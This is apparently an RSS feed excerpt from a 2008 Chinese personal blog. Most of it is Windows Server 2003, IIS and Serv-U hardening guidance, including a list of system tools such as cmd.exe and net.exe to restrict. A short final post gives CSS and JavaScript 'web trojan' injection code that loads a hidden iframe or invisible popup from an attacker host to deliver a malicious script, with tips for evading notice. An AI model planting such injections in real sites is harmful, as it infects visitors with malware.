href="http://image.onlinedown.net/2005/08/2005080192.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080192.jpg" /></a><wbr /></div><div style="text-align:center;">图12：FTP用户密码保存到注册表里</div>　　打开注册表来测试相应的权限，否则SERV－U是没办法启动的。在开始－＞运行里输入regedt32点“确定”继续。</span><wbr /><br><span style="line-height:1.8em;">　　</span><wbr /><br><span style="line-height:1.8em;">　　找到[HKEY_LOCAL_MACHINESOFTWARECat Soft]分支。在上面点右键，选择权限，然后点高级，取消允许父项的继承权限传播到该对象和所有子对象，包括那些在此明确定义的项目，点击“应用”继续，接着删除所有的账号。再次点击“确定”按钮继续。这时会弹出对话框显示“您拒绝了所有用户访问Cat Soft。没有人能访问 Cat Soft，而且只有所有者才能更改权限。您要继续吗？”，点击“是”继续。接着点击添加按钮增加我们建立的SSERVU账号到该子键的权限列表里，并给予完全控制权限。到这里注册表已经设置完了。但还不能重新启动SERV－U，因为安装目录还没设置。</span><wbr /><br><span style="line-height:1.8em;">　　</span><wbr /><br><span style="line-height:1.8em;">　　现在就来设置一下，只保留你的管理账号和SSERVU账号，并给予除了完全控制外的所有权限。（见图13）</span><wbr /><br><span style="line-height:1.8em;"><br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080193.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080193.jpg" /></a><wbr /></div><div style="text-align:center;">图13：SERV－U安装目录权限设置</div>　　现在，在服务里重启Serv-U FTP Server服务就可以正常启动了。当然，到这里还没有完全设置完，你的FTP用户因为没有权限还是登录不了的，所以还要设置一下目录的权限。</span><wbr /><br><span style="line-height:1.8em;">　　</span><wbr /><br><span style="line-height:1.8em;">　　假设你有一个WEB目录，路径是d:web。那么在这个目录的“安全设定”里除了管理员和IIS用户都删除掉，再加入SSERVU账号，切记SYSTEM账号也删除掉。为什么要这样设置呢？因为现在已经是用SSERVU账号启动的SERV－U，而不是用SYSTEM权限启动的了，所以访问目录不再是用SYSTEM而是用SSERVU，此时SYSTEM已经没有用了，这样就算真的溢出也不可能得到SYSTEM权限。另外，WEB目录所在盘的根目录还要设置允许SSERV－U账号的浏览和读取权限，并确认在高级里设置只有该文件夹。（见图14）</span><wbr /><br><span style="line-height:1.8em;">　　 <br><div style="text-align:center;"><wbr /><a href="http://image.onlinedown.net/2005/08/2005080194.jpg" target="_blank"><img style="border:0;" src="http://image.onlinedown.net/2005/08/2005080194.jpg" /></a><wbr /></div><div style="text-align:center;">图14：WEB目录所在盘的权限设置</div>　　至此，设置全部结束。现在的SERV－U设置是配合IIS设置的，因为和IIS使用不同的账号，WEB用户就不可能访问SERV－U的目录，并且WEB目录没有给予SYSTEM权限，所以SYSTEM账号也同样访问不了WEB目录，也就是说，即使使用MSSQL得到备份的权限也不能备份SHELL到你的WEB目录。你可以安全的使用SERV－U了。<br></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[实用技术]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1205737752#comment</comments>
<qz:effect>513</qz:effect>
<pubDate>Mon, 17 Mar 2008 07:09:12 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1205737752</guid>
</item>

<item>
<title><![CDATA[Windows 2003安全设置大全]]></title>
<link>http://285584.qzone.qq.com/blog/1205733870</link>
<description><![CDATA[至今为止找到的比较全的2003安全设置文章，今天花了一个小时精心整理了一下格式。<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">一、硬盘分区与操作系统的安装</span><wbr /></span><wbr /><br>硬盘分区 <br>总的来讲在硬盘分区上面没什么值得深入剖析的地方，无非就是一个在分区前做好规划知道要去放些什么东西， 如果实在不知道。那就只一个硬盘只分一个区，分区要一次性完成，不要先分成FAT32再转成NTFS。一次性分成 NTFS格式，以我个人习惯，系统盘一般给12G。建议使用光盘启动完成分区过程，不要加载硬盘软件。<br>系统安装 <br>以下内容均以2003为例 <br>安装过程也没什么多讲的，安装系统是一个以个人性格为参数的活动，我建议在安装路径上保持默认路径，好多文章上写什么安装路径要改成什么呀什么的，这是没必要的。路径保存在注册表里，怎么改都没用。在安装过程中就要选定你需要的服务，如一些DNS、DHCP没特别需要也就不要装了。在安装过程中网卡属性中可以只保留TCP/IP 这一项，同时禁用NETBOIS。安装完成后如果带宽条件允许可用系统自带在线升级。<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">二、系统权限与安全配置</span><wbr /></span><wbr /><br>前面讲的都是屁话，润润笔而已。（俺也文人一次） <br>话锋一转就到了系统权限设置与安全配置的实际操作阶段 <br>系统设置网上有一句话是&quot;最小的权限+最少的服务=最大的安全&quot;。此句基本上是个人都看过，但我好像没有看到过一篇讲的比较详细稍具全面的文章，下面就以我个人经验作一次教学尝试！<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">2.1 最小的权限如何实现？</span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="line-height:1.8em;">NTFS系统权限设置 </span><wbr /><br></span><wbr />在使用之前将每个硬盘根加上 Administrators 用户为全部权限(可选加入SYSTEM用户) <br>删除其它用户，进入系统盘:权限如下<br>C:\WINDOWS Administrators SYSTEM用户全部权限 Users 用户默认权限不作修改 其它目录删除Everyone用户，切记C:\Documents and Settings下All Users\Default User目录及其子目录 <br>如C:\Documents and Settings\All Users\Application Data 目录默认配置保留了Everyone用户权限 <br>C:\WINDOWS 目录下面的权限也得注意,如 C:\WINDOWS\PCHealth、C:\windows\Installer也是保留了Everyone权限. <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">删除C:\WINDOWS\Web\printers目录</span><wbr /></span><wbr />，此目录的存在会造成IIS里加入一个.printers的扩展名，可溢出攻击 默认IIS错误页面已基本上没多少人使用了。建议<span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">删除C:\WINDOWS\Help\iisHelp</span><wbr /></span><wbr />目录 <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">删除C:\WINDOWS\system32\inetsrv\iisadmpwd</span><wbr /></span><wbr />，此目录为管理IIS密码之用，如一些因密码不同步造成500 错误的时候使用 OWA 或 Iisadmpwd 修改同步密码，但在这里可以删掉，下面讲到的设置将会杜绝因系统设置造成的密码不同步问题。 打开C:\Windows 搜索<br>net.exe;cmd.exe;tftp.exe;netstat.exe;regedit.exe;at.exe;attrib.exe;cacls.exe;format.com; <br>regsvr32.exe;xcopy.exe;wscript.exe;cscript.exe;ftp.exe;telnet.exe;arp.exe;edlin.exe; <br>ping.exe;route.exe;finger.exe;posix.exe;rsh.exe;atsvc.exe;qbasic.exe;runonce.exe;syskey.exe<br>修改权限，删除所有的用户只保存Administrators 和SYSTEM为所有权限 <br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">关闭445端口</span><wbr /></span><wbr /><br>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\netBT\Parameters <br>新建 &quot;DWORD值&quot;值名为 &quot;SMBDeviceEnabled&quot; 数据为默认值&quot;0&quot;<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">禁止建立空连接</span><wbr /></span><wbr /><br>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa <br>新建 &quot;DWORD值&quot;值名为 &quot;RestrictAnonymous&quot; 数据值为&quot;1&quot; [2003默认为1]<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">禁止系统自动启动服务器共享</span><wbr /></span><wbr /><br>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters <br>新建 &quot;DWORD值&quot;值名为 &quot;AutoShareServer&quot; 数据值为&quot;0&quot;<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">禁止系统自动启动管理共享</span><wbr /></span><wbr /><br>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters <br>新建 &quot;DWORD值&quot;值名为 &quot;AutoShareWks&quot; 数据值为&quot;0&quot;<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">通过修改注册表防止小规模DDOS攻击</span><wbr /></span><wbr /><br>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters <br>新建 &quot;DWORD值&quot;值名为 &quot;SynAttackProtect&quot; 数据值为&quot;1&quot;<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">禁止dump file的产生</span><wbr /></span><wbr /> <br>dump文件在系统崩溃和蓝屏的时候是一份很有用的查找问题的资料。然而，它也能够给黑客提供一些敏感信息比如一些应用程序的密码等。控制面板&gt;系统属性&gt;高级&gt;启动和故障恢复把 写入调试信息 改成无。<br><span style="font-weight:bold"><wbr /><span style="line-height:1.8em;">关闭华医生Dr.Watson </span><wbr /><br></span><wbr />在开始-运行中输入&quot;drwtsn32&quot;，或者开始-程序-附件-系统工具-系统信息-工具-Dr Watson，调出系统里的华医生Dr.Watson ，只保留&quot;转储全部线程上下文&quot;选项，否则一旦程序出错，硬盘会读很久，并占用大量空间。如果以前有此情况，请查找user.dmp文件，删除后可节省几十MB空间。<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">本地安全策略配置</span><wbr /></span><wbr /> <br>开始 &gt; 程序 &gt; 管理工具 &gt; 本地安全策略<br>账户策略 &gt; 密码策略 &gt; <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">密码最短使用期限 改成0天[即密码不过期，上面我讲到不会造成IIS密码不同步]</span><wbr /></span><wbr /> 账户策略 &gt; 账户锁定策略 &gt;<span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">账户锁定阈值 5 次 账户锁定时间 10分钟 [个人推荐配置]</span><wbr /></span><wbr /> 本地策略 &gt; 审核策略 &gt; 账户管理 成功 失败 登录事件 成功 失败 对象访问 失败 策略更改 成功 失败 特权使用 失败 系统事件 成功 失败 目录服务访问 失败 账户登录事件 成功 失败 本地策略 &gt; 安全选项 &gt; <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">清除虚拟内存页面文件 更改为&quot;已启用&quot;</span><wbr /></span><wbr /> &gt; 不显示上次的用户名 更改为&quot;已启用&quot; &gt; 不需要按CTRL+ALT+DEL 更改为&quot;已启用&quot; &gt; 不允许 SAM 账户的匿名枚举 更改为&quot;已启用&quot; &gt; 不允许 SAM 账户和共享的匿名枚举 更改为&quot;已启用&quot; &gt; 重命名来宾账户 更改成一个复杂的账户名 &gt; 重命名系统管理员账号 更改一个自己用的账号 [同时可建立一个无用户组的Administrat账户] <span style="font-weight:bold"><wbr /><span style="line-height:1.8em;">组策略编辑器 </span><wbr /><br></span><wbr />运行 gpedit.msc 计算机配置 &gt; 管理模板 &gt; 系统 <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">显示&quot;关闭事件跟踪程序&quot; 更改为已禁用</span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">删除不安全组件</span><wbr /></span><wbr /> <br>WScript.Shell 、Shell.application 这两个组件一般一些ASP木马或一些恶意程序都会使用到。<br>方案一： <br>regsvr32 /u wshom.ocx 卸载WScript.Shell 组件 <br>regsvr32 /u shell32.dll 卸载Shell.application 组件<br>如果按照上面讲到的设置，可不必删除这两个文件 <br>方案二： <br>删除注册表 <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8</span><wbr />}</span><wbr /></span><wbr /> 对应 WScript.Shell <br>删除注册表 <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540000}</span><wbr /></span><wbr /> 对应 Shell.application<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">用户管理</span><wbr /></span><wbr /> <br>建立另一个备用管理员账号，防止特殊情况发生。 <br>安装有终端服务与SQL服务的服务器停用TsInternetUser, SQLDebugger这两个账号<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">用户组说明</span><wbr /></span><wbr /> <br>在将来要使用到的IIS中，IIS用户一般使用Guests组，也可以再重新建立一个独立的专供IIS使用的组，但要将这个组赋予C:\Windows 目录为读取权限[<span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">单一读取</span><wbr /></span><wbr />] 个人不建议使用单独目录，太小家子气。<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">二、系统权限与安全配置</span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">2.2最少的服务如果实现</span><wbr /></span><wbr /><br>黑色为自动 绿色为手动 红色为禁用<br>Alerter Application Experience Lookup Service Application Layer Gateway Service Application Management Automatic Updates [Windows自动更新,可选项] Background Intelligent Transfer Service ClipBook COM+ Event System COM+ System Application Computer Browser Cryptographic Services DCOM Server Process Launcher DHCP Client Distributed File System Distributed Link Tracking Client Distributed Link Tracking Server Distributed Transaction Coordinator DNS Client Error Reporting Service Event Log File Replication Help and Support HTTP SSL Human Interface Device Access IIS Admin Service IMAPI CD-Burning COM Service Indexing Service Intersite Messaging IPSEC Services [如果使用了IP安全策略则自动，如无则禁用，可选操作] Kerberos Key Distribution Center License Logging Logical Disk Manager [可选，多硬盘建议自动] Logical Disk Manager Administrative Service Messenger   /li&gt; Microsoft Search Microsoft Software Shadow Copy Provider MSSQLSERVER MSSQLServerADHelper Net Logon NetMeeting Remote Desktop Sharing Network Connections Network DDE Network DDE DSDM Network Location Awareness (NLA) Network Provisioning Service NT LM Security Support Provider Performance Logs and Alerts Plug and Play Portable Media Serial Number Service [微软反盗版工具，目前只针对多媒体类] Print Spooler Protected Storage Remote Access Auto Connection Manager Remote Access Connection Manager Remote Desktop Help Session Manager Remote Procedure Call (RPC) Remote Procedure Call (RPC) Locator Remote Registry Removable Storage Resultant Set of Policy Provider Routing and Remote Access Secondary Logon Security Accounts Manager Server Shell Hardware Detection Smart Card Special Administration Console Helper SQLSERVERAGENT System Event Notification Task Scheduler TCP/IP NetBIOS Helper Telephony Telnet Terminal Services Terminal Services Session Directory Themes Uninterruptible Power Supply Upload Manager Virtual Disk Service Volume Shadow Copy WebClient Windows Audio [服务器没必要使用声音] Windows Firewall/Internet Connection Sharing (ICS) Windows Image Acquisition (WIA) Windows Installer Windows Management Instrumentation Windows Management Instrumentation Driver Extensions Windows Time Windows User Mode Driver Framework WinHTTP Web Proxy Auto-Discovery Service Wireless Configuration WMI Performance Adapter Workstation World Wide Web Publishing Service 以上操作完成以后是否就&quot;最小的权限+最少的服务=最大的安全&quot;呢？其实不然，任何事物都是相对的 <br>依我个人而见，以上设置也只是最基本的一些东西而已，如有遗漏，稍后补上！<br>    <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">三、IIS、终端服务、FTP、SQL的配置</span><wbr /></span><wbr /><br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">3.1 IIS配置</span><wbr /></span><wbr /><br>IIS6与IIS5有着很多不同之处，不一一列举，也不是我一个脑袋可以装下的东西。都在资料上！IIS6有一个非常不方便的东西，就是他限制了在线上传不得大于200K，如何修改，请看：<br>首先停用IIS服务，&gt; 服务 &gt; iis admin service &gt; 停用<br>C:\windows\system32\inetsrv\ metabase.xml 文件 用记事本打开它<br>找到 ASPMaxRequestEntityAllowed 处。默认为 204800 即 204800字节(200K)<br>修改为想要的数字如： 2048000 [2M] 保存，重启IIS服务即可！<br>设置基本参数<br>打开IIS管理器 &gt; 网站 &gt; 属性 &gt;<br>网站 &gt; 启动日志记录 &gt; 关闭<br>主目录 &gt; 配置 &gt; 应用程序扩展 &gt; 只保留 asp,asa<br>主目录 &gt; 配置 &gt; 选项 &gt; 启用父目录<br>主目录 &gt; 配置 &gt; 调试 &gt; 向客户端发送文本错误消息<br>网站 &gt; 自定义错误 &gt; 全部改成默认值 [上一章已经删除IIS使用的错误信息页面]<br>IIS管理器 &gt; WEB服务扩展 &gt; 启用 Active Server Pages<br>注：停用IIS默认站点，切勿删除，有可能会造成IIS的不稳定。<br>站点的建立将在第四节中详细介绍。<br>IIS支持PHP的配置<br>http://www.php.net/downloads.php 以 PHP 5.1.1 为例<br>下载php-5.1.1-Win32.zip 解压到 D:\php 或任意目录 赋予该目录IIS用户组读取权限<br>将ext目录中的所有文件复制到 C:\Windows\System32目录下面<br>以记事本打开php.ini-dist文件<br>查找 extension_dir = &quot;./&quot; 更改为 extension_dir = &quot;D:\php\ext&quot;<br>查找 ; Windows Extensions 更改下面的参数<br>如要开通GD库支持 则将;extension=php_gd2.dll 前面的冒号删除<br>依此类推，更多设置参考PHP.INI中文版。完成设置好另存在C:\Windows\php.ini<br>尔后在IIS设置中 IIS管理器 &gt; 网站 &gt; 属性 &gt; 主目录 &gt; 配置 &gt; 映射<br>添加 D:\php\php5isapi.dll 扩展名.php<br>其次在WEB服务扩展中 添加一个新的扩展名 PHP 执行位置 D:\php\php5isapi.dll 设为允许即可<br>由于WIN平台对MYSQL与PHP的组合无法体现性能优势。个人建议WIN平台PHP程序要使用数据库建议远程<br>或搭配文本数据库。<br>终端服务配置<br>开始 &gt; 程序 &gt; 管理工具 &gt; 终端服务配置 &gt; 连接<br>选择右侧列出的连接 属性 &gt; 权限 删除所有用户组 添加单一的允许使用的管理员账户,这样即使服务器<br>被创建了其它的管理员.也无法使用终端服务。<br>另外在会话设置中可以进一步设置断1 D、注销等一些参数。<br>FTP的配置<br>目前大多数服务器使用Serv-U Server 为FTP SYSTEM。这里同时建议使用此软件<br>以 <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">Serv-U FTP Server 6.1.0.5 final</span><wbr /></span><wbr /> [最新版]为例，这里建议使用汉化版本.www.hanzify.org<br>安装原版至D:\Serv-U_3434999fdaf [复杂无规则的目录名可有效防止黑客的猜解]<br>尔后退出Serv-U,安装汉化包。<br>运行SERV-U管理器 IP地址可为空、安装为系统服务 设置密码防止溢出<br>PASV设置<br>Serv-U管理器 &gt; &lt;&lt;本地服务器&gt;&gt; &gt; 设置 &gt; 高级<br>PASV端口范围 这里SERV-U只允许 50个端口范围 端口的设置范围 如 1025 - 1075 [1024以前的端口为系统使用]<br>更多个人化设置参考以下文档<br>SERV-U 技巧现在很多的朋友都用SERV-U做个人FTP的服务器，有关如何使用SERV－U架设服务器的文章很多了，这儿我就不多说了。不过大家不知道注意到了没有，当你登陆很多FTP的时候，会显示一些欢迎信息，比如说显示你的IP，告诉你目前有多少人在使用FTP，带宽是多少等等。。。看起来就比较的专业样子。其实你自己也是可以做的，SERV-U这个软件本身就有这个功能。下面我就说明以下如何在自己的FTP里面加上这些信息。 第一、先建立一个文本文件，随便取一个名字。我们这儿就取message.txt吧。<br>第二、这个这个文本文件里面加上这些文字<br>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ <br>欢迎来到XXX的FTP服务器 <br>你的IP地址是：%IP <br>目前服务器所在的时间是 %time <br>已经有 %u24h 个用户在最近24小时访问过本FTP <br>本FTP服务器已经运行了 %ServerDays 天，%ServerHours 小时 和 %ServerMins 分。<br>服务器的运行情况：<br>所有登陆用户数量： %loggedInAll total <br>当前登陆用户数量： %Unow <br>已经下载字节数： %ServerKbDown Kb <br>已经上传字节数： %ServerKbUp Kb <br>已经下载文件数： %ServerFilesDown <br>已经上传文件数： %ServerFilesUp <br>服务器平均带宽： %ServerAvg Kb/sec <br>服务器当前带宽： %ServerKBps Kb/sec <br>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br>其中XXX可以改成你的名字<br>你也可以加上一些你自己认为喜欢的文字，不过要注意的是每行最好不要超过80个字符<br>其中以%开头的都是一些变量，下面是SERV-U能支持的变量<br>时间和*期<br>%Time - 显示你的计算机当前时间 <br>%Date - 显示你的计算机当前*期<br>服务器的统计信息<br>%ServerDays - 显示服务器已经运行的天数 <br>%ServerHours - 显示服务器已经运行的小时数 <br>%ServerMins - 显示服务器已经运行的分钟数 <br>%ServerSecs - 显示服务器已经运行的秒数 <br>%ServerKbUp - 显示自从服务器运行以来已经上传的字节数 <br>%ServerKbDown - 显示自从服务器运行以来已经下载的字节数 <br>%ServerFilesUp - 显示自从服务器运行以来已经上传的文件数 <br>%ServerFilesDown - 显示自从服务器运行以来已经下载的文件数 <br>%LoggedInAll - 显示自从服务器运行以来已经登陆的用户数 <br>%ServerAvg - 显示服务器的平均带宽 <br>%ServerKBps - 显示服务器的当前带宽<br>服务器的设定信息<br>%MaxUsers - 显示服务器能同时登陆的最大用户数量 <br>%MaxAnonymous - 显示服务器能同时登陆的最大匿名用户数量<br>用户信息<br>%Name - 显示登陆的用户名 <br>%IP - 显示登陆的用户IP地址 <br>%Dir - 显示登陆的用户的当前目录 <br>%Disk - 显示登陆的用户的当前磁盘 <br>%DFree - 显示登陆的用户的当前磁盘空间，单位是MB <br>%FUp - 显示登陆的用户上传的文件数量 <br>%FDown - 显示登陆的用户下载的文件数量 <br>%FTot - 显示登陆的用户上传和下载的总的文件数量 <br>%BUp - 显示登陆的用户上传的字节数，单位是KB <br>%Bdown - 显示登陆的用户下载的字节数，单位是KB <br>%BTot - 显示登陆的用户上传和下载的总字节数，单位是KB <br>%TconM - 显示登陆用户连接时间，单位是分钟 <br>%TconS - 显示登陆用户连接时间，单位是秒，要和%TconM一起使用 <br>%RatioUp - 显示登陆用户的上传流量限制 <br>%RatioDown - 显示登陆用户的下载流量限制 <br>%RatioCredit - 显示登陆用户还有多少credit可以上传和下载，这个是针对有些FTP是要上传多少文件，才能下载多少文件而设置的 <br>%QuotaUsed - 显示登陆用户的已经使用了多少空间，单位是KB <br>%QuotaLeft - 显示登陆用户的还有多少空间可以使用，单位是KB <br>%QuotaMax - 显示登陆用户的的最大空间，单位是KB <br>后面3个是针对有磁盘限制的用户设置的<br>用户数量<br>%UNow - 显示当前有多少用户连接 <br>%UAll - 显示从服务器运行以来一共有多少用户连接过 <br>%U24h - 显示最近24小时有多少用户 <br>%UAnonAll - 显示当前总的匿名用户数量 <br>%UAnonThisIP - 显示所有匿名登陆的用户数 <br>%UNonAnonAll - 显示所有当前非匿名登陆用户数 <br>%UNonAnonThisIP - 显示所有非匿名登陆用户数 <br>%UThisName - 显示所有使用这个名字登陆的用户数 <br>自己在先建立一个.txt文件,输入你想要显示的文字,具体参数看上面的内容,然后在Serv_u内的server设置里面,加入这个.txt文件就可以了! <br>下面我已经做了几个！喜欢就把名字等改改OK了！呵呵<br>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ <br>欢迎来到＊＊＊A 网＊＊＊的FTP服务器<br>你的IP地址是：%IP <br>目前服务器所在的时间是 %time <br>已经有 %u24h 个用户在最近24小时访问过本FTP <br>本FTP服务器已经运行了 %ServerDays 天，%ServerHours 小时 和 %ServerMins 分。<br>服务器的运行情况：<br>所有登陆用户数量： %loggedInAll total <br>当前登陆用户数量： %Unow <br>已经下载字节数： %ServerKbDown Kb <br>已经上传字节数： %ServerKbUp Kb <br>已经下载文件数： %ServerFilesDown <br>已经上传文件数： %ServerFilesUp <br>服务器平均带宽： %ServerAvg Kb/sec <br>服务器当前带宽： %ServerKBps Kb/sec <br>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ <br>你的信息<br>用户名：　%Name <br>IP地址：　%IP <br>当前目录：　%Dir <br>当前磁盘：　%Disk <br>磁盘空间：%DFree <br>连接时间：　%TconM　分　和　%TconS　秒 <br>上传流量限制：　%RatioUp <br>下载流量限制：　%RatioDown <br>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ <br>★★★★★★★★★★★★★★★★★★★★★★★★★ <br>来自%IP的朋友您好，欢迎来到＋a网＋的个人FTP服务器 <br>本地时间是%Date %Time <br>服务器已连续工作：%ServerDays天%ServerHours小时%ServerMins分%ServerSecs秒 <br>本站开通以来已接通%UAll位使用者。 <br>过去24小时总共有%U24h次连接。 <br>匿名用户上限为%MaxAnonymous人。每个ip只能开两个进程 <br>目前有%UNow位使用者在线。 <br>其中匿名用户有%UAnonAll人在线。 <br>★★★★★★★★★★★★★★★★★★★★★★★★★ <br>自本站开通以来共上传/下载 |%ServerKbUpKB/%ServerKbDownKB <br>自本站开通以来共上传/下载 |%ServerFilesUp个/%ServerFilesDown个 <br>服务器当前流量|%ServerKBps Kb/sec <br>服务器平均流量|%ServerAvg Kb/sec <br>★★★★★★★★★★★★★★★★★★★★★★★★★ <br>你目前的空间容量为 |%QuotaMax/KB <br>你目前总共使用了 |%QuotaUsed/KB <br>你目前的空间剩余 |%QuotaLeft/KB <br>Jmail 组件的安装<br>建议使用 <span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">w3 JMail Personal V4.3</span><wbr /></span><wbr /> 这里为免费版 http://www.skycn.net/soft/5555.html<br>默认安装至 D:\w3JMail4_35434fnald [同样，复杂的目录名]<br>安装完成后只需单一设置 jmail.dll 权限，加入IIS用户组默认权限即可！<br>SQL Server 2000 的安装与配置<br>目前SQL Server 2000 + SP4 在我看来已算比较安全，已没有SP3等版本会因为 sqlstp.log, sqlsp.log而泄露<br>安装信息的问题。当然也建议在安全后 检查 &lt;systemdrive&gt;:\Program Files\Microsoft SQL Server\MSSQL\Install<br>目录中是否存在有 sqlstp.log, sqlsp.log, setup.iss文件，如果有，则备份至其它位置。<br>数据库的建立这里就不多讲了。更多设置可以参考SQL SERVER 2000帮助文档！<br><span style="font-weight:bold"><wbr /><span style="color:#ff6600;line-height:1.8em;">四、站点的建立</span><wbr /></span><wbr /><br>站点的建立有一定的操作标准，当然这都是些屁话，能运行就行了。<br>上面讲到的设置已经为下面的建立站点创造了一个良好的条件，只需要严格按照控制每个站点的权限<br>就足够了，不要因为时间紧而不设置站点FSO或将目录权限开到最大。操作上的疏忽偶尔会带来一点小<br>麻烦。<br>建立站点前 首先在用户管理中建立一个站点所需要使用的用户名。<br>比如我们要建立一个名为 HostNew的站点 绑定域名hostnew.com<br>建立一用户Iusr_hostnew.com [对IIS用户增加统一的前缀方便将来的管理] 设置一个复杂的密码<br>修改该用户所属用户组为Guests 或 你准备好的IIS用户组。删除默认的Users用户组.<br>尔后给站点需要使用的目录加上这个用户为读取、写入权限。不要是默认权限，默认权限拥有运行权限<br>那么站点就可以通过FSO来执行或利用其它方式来执行一些恶意程序破坏服务器配置。<br>尔后打开IIS管理器 &gt; 网站 &gt; 新建站点 设置好后<br>打开新站点属性 &gt; 目录安全性 &gt; 身份验证和访问控制 &gt; 编辑 &gt; 选择刚才建立的用户[Iusr_hostnew.com]<br>输入该用户的密码.确认.应用.即可,此时该站点的权限已控制在该站点目录!<br>其实这一切都是相对比较简单的.也没有什么可值得称道的地方.<br>如果该站点不使用ASP\PHP\CGI等脚本 在该站点属性 &gt; 主目录里面 &gt; 执行权限 里面选择 无<br>如果要执行ASP等脚本 则 选择纯脚本.如果PHP\CGI等脚本使用的是EXE文件执行方式.则选择脚本和可执行文件 <!--v:3.2--> ]]></description>
<category><![CDATA[实用技术]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1205733870#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Mon, 17 Mar 2008 06:04:30 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1205733870</guid>
</item>

<item>
<title><![CDATA[真正点效果的CSS挂马代码]]></title>
<link>http://285584.qzone.qq.com/blog/1205726769</link>
<description><![CDATA[网上流行的:<br>body<br>{ <br>background-image: url(javascript:document.write(&quot;&lt;Iframe src=http://192.168.0.5/test.htm width=0 height=0&gt;&lt;/iframe&gt;&quot;))<br>}<br>//此方法会使主页不正常.返回一片空白.<br>用弹窗.<br>body<br>{ <br>background-image: url(javascript:open(&quot;<a href="http://192.168.0.5/test.htm" target="_blank"><span style="color:#000000;line-height:1.8em;">http://192.168.0.5/test.htm</span><wbr /></a><wbr />&quot;))<br>}<br>//弹出一个框.难看 易被发现.<br>改进一下:<br>body<br>{ <br>background-image: url(javascript:open(<a href="http://192.168.0.5/test.htm,newwindow,height=0" target="_blank"><span style="color:#000000;line-height:1.8em;">http://192.168.0.5/test.htm,newwindow,height=0</span><wbr /></a><wbr />, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no))<br>}<br>test.htm里面的代码,a.js为你的网马,弹出一个不可见的窗口,并在5秒自动后关闭没提示:<br>&lt;script src=&quot;a.js&quot;&gt;&lt;/script&gt;<br>&lt;script&gt;<br>window.opener=null;setTimeout(&quot;window.close();&quot;,5000);<br>&lt;/script&gt; <br>a.js内容:<br>document.write(&lt;Iframe src=&quot;<span style="color:#000000;line-height:1.8em;">http://192.168.0.5/calc.htm&quot;&gt;&lt;/iframe</span><wbr />&gt;); <br>请指教. <!--v:3.2--> ]]></description>
<category><![CDATA[实用技术]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1205726769#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Mon, 17 Mar 2008 04:06:09 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1205726769</guid>
</item>

<item>
<title><![CDATA[超级实用且不花哨的js代码大全]]></title>
<link>http://285584.qzone.qq.com/blog/1205574248</link>
